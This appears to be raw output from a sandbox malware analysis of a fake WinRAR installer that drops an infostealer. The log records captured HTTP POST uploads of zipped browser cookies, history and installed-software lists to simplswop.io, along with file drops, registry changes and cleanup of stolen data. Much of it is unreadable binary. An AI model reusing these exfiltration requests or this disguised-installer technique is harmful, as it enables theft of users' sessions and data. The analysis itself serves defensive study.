¾»ñw(tpq¹Ü÷|çÛ^ASs£RgBX~ÉÒZH«~*JkÎªer1"¾gç¢.£d=±½Ì§ï8@1Å©!n(7yj)a%¢5Ëj~.L2%AÀRí7Ý¡ö¹9m1uËÔ¯øë³\þÿª^#;MìTF`<ò!ÓùÛéµ»PK3û¿¶PKå68]Default/cookies/adnxs.com.txtÉn@@Ïô/LklM@@Æµ*)Ã¢`b0uÁ-2"ò÷5é©Ißå^ò¸oKNÆµ=iüª)ß°%(LtLâò®b¦¾ÔÓjËbºj/9³oÃUey}UÊú5|F^T&N$i^Sðgí(òóëJð{µ¾~Tû8³d¶C7½Ç*¤»¾Ð¯Ñ®&Ý,`ø'îá[o` ZeE¨ð@ÒßXÎµ?@#;´h:b|=ÃèIBx +ã-Qâxeùs¸ê7¯°%æËhÃUò¤4ÄlÚ4/W}D0ðéyæo&kûB·xf\HVCp5<;U¼½îÜýîPK$A·!wPKå68]Default/cookies/bing.com.txtÎ±Â0EÑÙ|L°ØNFÀDÎv@ÀÂÿ[EGKWÇÏç§®÷7¨CW`Ç¶/@ªÈBThZ@Àÿ¥òKgÂAbæÉì÷Þ{©ÊÕ(UJ1r&b»I}úµº¶9m!pN7Å¸F)9&_Íè}£æXJñ5K½PK"Å^ûaóÙ¢ÏKR+ÖÚ»àYv7½oä×²ÇsòDm)rkr^X/dÆà«ø Hê]peÔÍH_ÌD«Ä1±1®oõ#J¡ÔoúH_Óx{H§2}SMëÿåÖá£Yt{Oããð/Cä.hìªî ÒÉ¤w¿K_VíáÈr´kXÑÃõv}ö8^%®w×-ö¬`¾ËnS¨z¡,ç~³vÝêO~zãQ.<ÊÁCY¯ÓD*¬8Ã¾¨J0¢¨ $ô)ÛÖäöÔÕèÏbâÆ¼IýYólÖ¶yâö©×æbµ'(á[Ã àTC"tÆõÃYHøEvHPÏÒÚm0Û···ÎÝûàáÜÕÚn7ò(}Í¦z£ï}¤î) S]Ø8È¡Ô£2pBËÀ\Iehuÿ"Z×Ur#c¾F1ßÊ+¯íYf¿È1º@;û>Ñ².Öï±¯óvAY®Ð*¹öQ~tì_ë"sV¶Êt³Ñ2ÿI gÔHÊaaÙ§ÁÁÌäö%¨/39$>µ¡ÔÌÃ¦úB*ÐKVÌÊË±õOØù Î2»VðúDñ8z÷Ö7÷Þ]OPSêou³Í«ºÇ¯v¥ßPKI¹"K)PKå68]Default/cookies/msn.com.txt½TYo£H~îý~Äé»Hy;VÙõ±ÚÍÅÑ$(æ4£ä?8Ê8q¢Ñ<ÕõuÕWG×¼ìªyZh³ÚèbZRXÍG^Ó8ÛÎ´h¦ü¥=llfÌY:aÅö}Âô©GÜBi!=_hF Óú±nm»á¨ðg"qÖ}e7Ï¯AIéÝ &uÊöùD¬@NÖtM]ufÑØuÄÖlòL1¦&Âà JÁü ¥Ì$ýÃÑIº:©ç2w8å±ä917æ§Ö3µøÔ>÷ñzûK¸]SgÁ.~êL9¾f*@øùjDÞÍÊ¡1ÜP]üîþA9äz\ vJQê¾9.Ìÿ°3Uâ¼Çq9:L£Ûí2ð£Ai3Ï¤çúDø"b>ñ¤ÏªlóÖÖ{ÉäÏÐ~´6¹0Ù9î!FAÝíÚ>yÞþòxßW8CXe×{ðp¦kmòÑ!98rÑ5¶Û'c©¾;àv/òp&ìêêje¾-ÿºi~åV&÷®üÈQ^Hó]/ ¡XaB¤§ü9 W'ÍtÉÕ%Ñ÷ÃO¢:î)Áíú,ÁWBÒU¹Ð¹aD.8+*¹LggKÆGBóO®]©È+£\S[·&ûÔÒwÄÆ$Jº®à\3äÝ}½[|¹êÃø>NAðÛÕ<\8hpH)rMÜ¡ñDÈ):»[CêF[EÚÖ][vû"g[·1{SÛ>æ[eHd*Ã\¥ÙrD¥Nê¦qF9æÊàñÃ _É¯W·»Û_dÿþr§Ë¹¶0Ùé¡6gÎÅRs»ÎtÄý÷õòâÆ\çáÅ~ýµ¼ùïéæ;LàáRÂ\yùÒÆß['ä´j¬ió°·Î Z<¶uYô¥=6bPÏïPK|Ìù(PKå68])Default/cookies/scorecardresearch.com.txtÌ½ @áùö0ùSEAS%´ÚMiAß²7¨ñÀá#Cthã]r6âE0Ü0vóª¡m1h[1É`Ì4U}nIùá±nbo9m¤z|UùÇîÙPK´_®PKå68]«âÔmÜinfo.jsonPKå68]ÿ-,ÖDefault/browser_meta.jsonPKå68]3û¿¶6Default/history.jsonPKå68]$A·!w7Default/cookies/adnxs.com.txtPKå68]"Å^<£Default/cookies/bing.com.txtPKå68]\Ôs¦|Default/cookies/clarity.ms.txtPKå68]¯f¾õ nDefault/cookies/linkedin.com.txtPKå68]I¹"K)!zDefault/cookies/microsoft.com.txtPKå68]|Ìù(Default/cookies/msn.com.txtPKå68]´_®)Default/cookies/scorecardresearch.com.txtPKÞ;------361F4A970000196C93BAEF32--" HTTP/1.1 200 OK Date: Thu, 24 Sep 2026 12:50:35 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: strict-origin-when-cross-origin cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=5,cfOrigin;dur=434 Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=vFw%2F3JdmQicbAnyCH8D0CaWQfPMaJE3c0ZWSXWco7sKu3Heb2FXqOFzxDRat7kkMhw90mKJ9NA3XP1IPyEV2d0id46wZohvyGadFA7cqOpQ%2FnCjfoJzYjqXHlk7NI%2Bw%3D"}]} CF-RAY: a401ea687ad4ad81-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B22737461747573223A226F6B222C2262726F77736572223A2245646765222C2273697A65223A343339397D......., "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware HTTP/1.1 Content-Type: multipart/form-data; boundary=----361F98F20000196C93BA3D57 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: simplswop.io Content-Length: 1370 Cache-Control: no-cache" with payload::==> "------361F98F20000196C93BA3D57Content-Disposition: form-data; name="file"; filename="8250790ABB6552085A14E9AACD5F9C89_InstalledSoftware.zip"Content-Type: application/octet-streamPK78]Installed_Software.txtµWQsÚ8~Ï¯Ð#L/>I¦¹ÜÄIWa ±<²ûñ÷ÉVJHN[ðÀ%ï~»ú´«]]ÝMÉRòMå©~.ðáäßíÃY×w2·%¹¼`SÞ£Ö?ªÄèR/-¹^.U"IlôR¥Ò¹ÈHU%dë4(R7±UhSh#,0Wfã@t¢ÞéBÙ.æÝ8pÏ*0ä|½øÃxcWÐÆð¾Pù¬µ-Å[ýú=ë7^góÏÂHòUWyúêVÇ££wÈpSÜJSßÁoÌÉ1¸*È-^aÄ>r@æ2>r$Õû5¶*ÈL®eªj¡t^¢^tþùÜ£<¤ýó¯ù¾Ù®;UVØ¡É§OÀäÜG=2NSå 0?«r«Öº}ëÑ Ø¸¸3ÚÂ½÷c§);¹ÖÜhg<èc¼ÇÑ°a¦ø´&ß=5Ü$Ù7d^0bäÝKÕ|O2ÓÅñM.Õq¥åYØÒâb$È2½½ ³ü!SåªñC0úsyáàiÈùGøi.ÍÄ"y$tæ1sîã»ß¯|öÈ¬5×bý,M¬ØmÍDµpÈÇ¶,\W6Óú±5üoÚ¤ã@ÖË6¿'mÏ·á²ÊZáÃÿÜÐZ:Ç±òëp¿ù§Núj¢¹È:vÕ¿¶à¯sy¥lÿQôÔ¼g§©ìSi*hÍ¯MíXóõ²®¡ÔõÄjT(ÖaÖKÕ%L&ìûÿú£©ÊÕºZ«9ò.ÕnRrkU¦ìÌ£-ÄKÕèÐ`¦E¦ép6Gÿ¢ÊµOØ1odiÑô)¤òa°M«½{Ï¡õðÅáÒ¥Û¦´rÞwúf4¬!ÞÚ¿¾%§z2Q®pót$!'Wñ8¾XÈ2aÐ¾Dóëáz´s2I&+£e.®\âú}$^bÂ|¿!ØàMð¥ë¶Ã!¥AñV`âí½®àÂðFPo#ü/Eö\"·³QÕ|û÷s@ü`kÿOßa9vX5ðÃ1º6"Yï½`CMÞ·dÖ?u&È×*Ü$Õ¢9_p·FÝ¼v}ºkµñv\ál6äÁÐyÛ³î"øÛÎn_ìX¡{Dó#_¤I{ÔD.´!ÿ§FjOêÓOþPK*Þ×PK78]*Þ×Installed_Software.txtPKD"------361F98F20000196C93BA3D57--" HTTP/1.1 200 OK Date: Thu, 24 Sep 2026 12:50:35 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Server: cloudflare Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800} X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: strict-origin-when-cross-origin cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server-Timing: cfEdge;dur=3,cfOrigin;dur=148 Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=ipAhz8UNS7KaUFPk57bZGDVNFz7WNtweStiPThXgPiO3CgJHwDBD8okNDRJ%2Fh%2F4c4V46Sc1tGdiYvrBUrUTq0%2FvifFH1E48jDnKE%2FBGV4a3OxpHNT%2BxTSpAcr%2FZ5XUA%3D"}]} CF-RAY: a401ea6dec6cad81-SJC alt-svc: h3=":443"; ma=86400 with response body ==>7B22737461747573223A226F6B222C2262726F77736572223A22496E7374616C6C6564536F667477617265222C2273697A65223A313134387D.......5d:T6bd,"winrarx64-setup.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "winrarx64-setup.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "winrarx64-setup.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "winrarx64-setup.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "winrarx64-setup.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "winrarx64-setup.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "winrarx64-setup.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "winrar-x64-710.exe" reads file "C:\Windows\win.ini" "winrar-x64-710.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "winrar-x64-710.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "winrar-x64-710.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "winrar-x64-710.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "winrar-x64-710.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "winrar-x64-710.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "winrar-x64-710.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "uninstall.exe" reads file "C:\Windows\win.ini" "uninstall.exe" reads file "C:\Users\desktop.ini" "uninstall.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "uninstall.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "uninstall.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "uninstall.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "uninstall.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "uninstall.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "uninstall.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" "uninstall.exe" reads file "C:\Program Files\desktop.ini"5e:Tb0d,"winrar-x64-710.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 7 sections"- Location: [C:\winrar-x64-710.exe]- [targetUID: 00000000-00007012] "WinRAR.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%PROGRAMFILES%\WinRAR\WinRAR.exe]- [targetUID: 00000000-00007996] "Rar.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- Location: [%PROGRAMFILES%\WinRAR\Rar.exe]- [targetUID: 00000000-00007996] "RarExt.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%PROGRAMFILES%\WinRAR\RarExt.dll]- [targetUID: 00000000-00007996] "UnRAR.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- Location: [%PROGRAMFILES%\WinRAR\UnRAR.exe]- [targetUID: 00000000-00007996] "RarExt32.dll" has type "PE32 executable for MS Windows 6.00 (DLL) Intel i386 5 sections"- Location: [%PROGRAMFILES%\WinRAR\RarExt32.dll]- [targetUID: 00000000-00007996] "Uninstall.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%PROGRAMFILES%\WinRAR\Uninstall.exe]- [targetUID: 00000000-00007996] "7zxa.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 6 sections"- Location: [%PROGRAMFILES%\WinRAR\7zxa.dll]- [targetUID: 00000000-00007996] "RarExtInstaller.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%PROGRAMFILES%\WinRAR\RarExtInstaller.exe]- [targetUID: 00000000-00007996] "INetC.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\nso98E5.tmp\INetC.dll]- [targetUID: 00000000-00007012] "nsExec.dll" has type "PE32 executable for MS Windows 4.00 (DLL) Intel i386 4 sections"- Location: [%TEMP%\nso98E5.tmp\nsExec.dll]- [targetUID: 00000000-00007012] "Default.SFX" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%PROGRAMFILES%\WinRAR\Default.SFX]- [targetUID: 00000000-00007996] "Zip.SFX" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- Location: [%PROGRAMFILES%\WinRAR\Zip.SFX]- [targetUID: 00000000-00007996] "WinCon.SFX" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- Location: [%PROGRAMFILES%\WinRAR\WinCon.SFX]- [targetUID: 00000000-00007996] "Default32.SFX" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 6 sections"- Location: [%PROGRAMFILES%\WinRAR\Default32.SFX]- [targetUID: 00000000-00007996] "Zip32.SFX" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 6 sections"- Location: [%PROGRAMFILES%\WinRAR\Zip32.SFX]- [targetUID: 00000000-00007996] "WinCon32.SFX" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 6 sections"- Location: [%PROGRAMFILES%\WinRAR\WinCon32.SFX]- [targetUID: 00000000-00007996]5f:Tcea,"uninstall.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR\SHELLEX\CONTEXTMENUHANDLERS\{B41DB860-8EE4-11D2-9906-E49FADC173CA}") "uninstall.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR\SHELLEX\CONTEXTMENUHANDLERS") "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR\SHELLEX\CONTEXTMENUHANDLERS\{B41DB860-8EE4-11D2-9906-E49FADC173CA}"; Key: "(DEFAULT)"; Value: "000000"), "uninstall.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.ZIP\SHELLEX\CONTEXTMENUHANDLERS\{B41DB860-8EE4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.ZIP\SHELLEX\CONTEXTMENUHANDLERS"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.ZIP\SHELLEX\CONTEXTMENUHANDLERS\{B41DB860-8EE4-11D2-9906-E49FADC173CA}"; Key: "(DEFAULT)"; Value: "000000"), "uninstall.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\CLASSES\*\SHELLEX\CONTEXTMENUHANDLERS\WINRAR32"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\*\SHELLEX\CONTEXTMENUHANDLERS\WINRAR32"; Key: "(DEFAULT)"; Value: "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\CLASSES\FOLDER\SHELLEX\CONTEXTMENUHANDLERS\WINRAR32"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\FOLDER\SHELLEX\CONTEXTMENUHANDLERS\WINRAR32"; Key: "(DEFAULT)"; Value: "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\CLASSES\LNKFILE\SHELLEX\CONTEXTMENUHANDLERS\WINRAR32"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\LNKFILE\SHELLEX\CONTEXTMENUHANDLERS\WINRAR32"; Key: "(DEFAULT)"; Value: "{B41DB860-8EE4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR\SHELLEX\CONTEXTMENUHANDLERS\{B41DB860-64E4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR\SHELLEX\CONTEXTMENUHANDLERS\{B41DB860-64E4-11D2-9906-E49FADC173CA}"; Key: "(DEFAULT)"; Value: "000000"), "uninstall.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.ZIP\SHELLEX\CONTEXTMENUHANDLERS\{B41DB860-64E4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\WINRAR.ZIP\SHELLEX\CONTEXTMENUHANDLERS\{B41DB860-64E4-11D2-9906-E49FADC173CA}"; Key: "(DEFAULT)"; Value: "000000"), "uninstall.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\CLASSES\*\SHELLEX\CONTEXTMENUHANDLERS\WINRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\*\SHELLEX\CONTEXTMENUHANDLERS\WINRAR"; Key: "(DEFAULT)"; Value: "{B41DB860-64E4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\CLASSES\FOLDER\SHELLEX\CONTEXTMENUHANDLERS\WINRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\FOLDER\SHELLEX\CONTEXTMENUHANDLERS\WINRAR"; Key: "(DEFAULT)"; Value: "{B41DB860-64E4-11D2-9906-E49FADC173CA}"), "uninstall.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\CLASSES\LNKFILE\SHELLEX\CONTEXTMENUHANDLERS\WINRAR"), "uninstall.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\CLASSES\LNKFILE\SHELLEX\CONTEXTMENUHANDLERS\WINRAR"; Key: "(DEFAULT)"; Value: "{B41DB860-64E4-11D2-9906-E49FADC173CA}")60:T7d4,"winrarx64-setup.exe" wrote 7168 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\nso98E5.tmp\nsExec.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "winrarx64-setup.exe" wrote 32768 bytes starting with PE header signature to file "C:\winrar-x64-710.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000180100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "winrarx64-setup.exe" wrote 25600 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\nso98E5.tmp\INetC.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "winrarx64-setup.exe" wrote 8192 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\GoogleAdsSpainWinRarT1[1].exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "winrarx64-setup.exe" wrote 8192 bytes starting with PE header signature to file "C:\Windows\EdgeUpdate\test.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...61:Td1f,"winrarx64-setup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\nst98B5.tmp" for deletion "winrarx64-setup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\nso98E5.tmp" for deletion "winrarx64-setup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\nso98E5.tmp\INetC.dll" for deletion "winrarx64-setup.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\nso98E5.tmp\nsExec.dll" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_h3h0kntp.do0.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_t0nsvuxq.m0m.psm1" for deletion "winrar-x64-710.exe" marked "C:\Program Files\WinRAR\__tmp_rar_sfx_access_check_907903265" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_nqgob0zy.3ln.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_g3kkuv3a.wnm.psm1" for deletion "MicrosoftEdgeSecurity.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\9D6952A937394320AB845FCB4BD46AC3_places_bk.db" for deletion "MicrosoftEdgeSecurity.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Chrome.zip" for deletion "MicrosoftEdgeSecurity.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Chrome\Default\browser_meta.json" for deletion "MicrosoftEdgeSecurity.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Chrome\Default\cookies\google.com.txt" for deletion "MicrosoftEdgeSecurity.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Chrome\Default\history.json" for deletion "MicrosoftEdgeSecurity.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Chrome\info.json" for deletion "MicrosoftEdgeSecurity.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\F899DD7E44154659BAFC426BD7A41B88_web_data_tokens.db" for deletion "MicrosoftEdgeSecurity.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Edge.zip" for deletion "MicrosoftEdgeSecurity.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\browser_meta.json" for deletion "MicrosoftEdgeSecurity.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\adnxs.com.txt" for deletion "MicrosoftEdgeSecurity.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\bing.com.txt" for deletion "MicrosoftEdgeSecurity.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\clarity.ms.txt" for deletion "MicrosoftEdgeSecurity.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\linkedin.com.txt" for deletion "MicrosoftEdgeSecurity.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\microsoft.com.txt" for deletion "MicrosoftEdgeSecurity.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\msn.com.txt" for deletion "MicrosoftEdgeSecurity.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Edge\Default\cookies\scorecardresearch.com.txt" for deletion62:Tb50,"winrarx64-setup.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nst98B5.tmp" with delete access "winrarx64-setup.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nso98E5.tmp" with delete access "winrarx64-setup.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nso98E5.tmp\INetC.dll" with delete access "winrarx64-setup.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nso98E5.tmp\nsExec.dll" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_h3h0kntp.do0.ps1" with delete access "powershell.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\__PSScriptPolicyTest_t0nsvuxq.m0m.psm1" with delete access "winrar-x64-710.exe" opened "C:\Program Files\WinRAR\__tmp_rar_sfx_access_check_907903265" with delete access "uninstall.exe" opened "C:\Users\Public\Desktop\WINRAR.LNK" with delete access "uninstall.exe" opened "C:\ProgramData\Microsoft\Windows\Start Menu\WINRAR.LNK" with delete access "test.exe" opened "C:\Windows\EdgeUpdate\~UPDATE.EXE" with delete access "MicrosoftEdgeSecurity.exe" opened "C:\Windows\EdgeUpdate\~UPDATE.EXE" with delete access "MicrosoftEdgeSecurity.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\9D6952A937394320AB845FCB4BD46AC3_places_bk.db" with delete access "MicrosoftEdgeSecurity.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\9D6952A937394320AB845FCB4BD46AC3_PLACES_BK.DB-WAL" with delete access "MicrosoftEdgeSecurity.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\9D6952A937394320AB845FCB4BD46AC3_PLACES_BK.DB-SHM" with delete access "MicrosoftEdgeSecurity.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Chrome.zip" with delete access "MicrosoftEdgeSecurity.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Chrome\Default\browser_meta.json" with delete access "MicrosoftEdgeSecurity.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Chrome\Default\cookies\google.com.txt" with delete access "MicrosoftEdgeSecurity.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Chrome\Default\COOKIES" with delete access "MicrosoftEdgeSecurity.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Chrome\Default\history.json" with delete access "MicrosoftEdgeSecurity.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Chrome\DEFAULT" with delete access "MicrosoftEdgeSecurity.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\8250790ABB6552085A14E9AACD5F9C89_Chrome\info.json" with delete access "MicrosoftEdgeSecurity.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\F899DD7E44154659BAFC426BD7A41B88_web_data_tokens.db" with delete access "MicrosoftEdgeSecurity.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\F899DD7E44154659BAFC426BD7A41B88_WEB_DATA_TOKENS.DB-WAL" with delete access63:T27e3,"POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Chrome HTTP/1.1 Content-Type: multipart/form-data; boundary=----361EE8FE0000196C93BB4D5B User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: simplswop.io Content-Length: 2142 Cache-Control: no-cache" with payload:==> "------361EE8FE0000196C93BB4D5BContent-Disposition: form-data; name="file"; filename="8250790ABB6552085A14E9AACD5F9C89_Chrome.zip"Content-Type: application/octet-streamPKÅ68]info.jsonMA0Dïò×|]A=;cL*OÚ4Æ»[1,çeæeÞÐ¦Æq-PVUÎ9ÃË4Û)ëßº°@AÙ¥é=8ÑÝèHøLÔ#ÐÕX»,)×ÄÊ?·Ær¯ÅH?î½¡{pbÒ¦+8;½v1 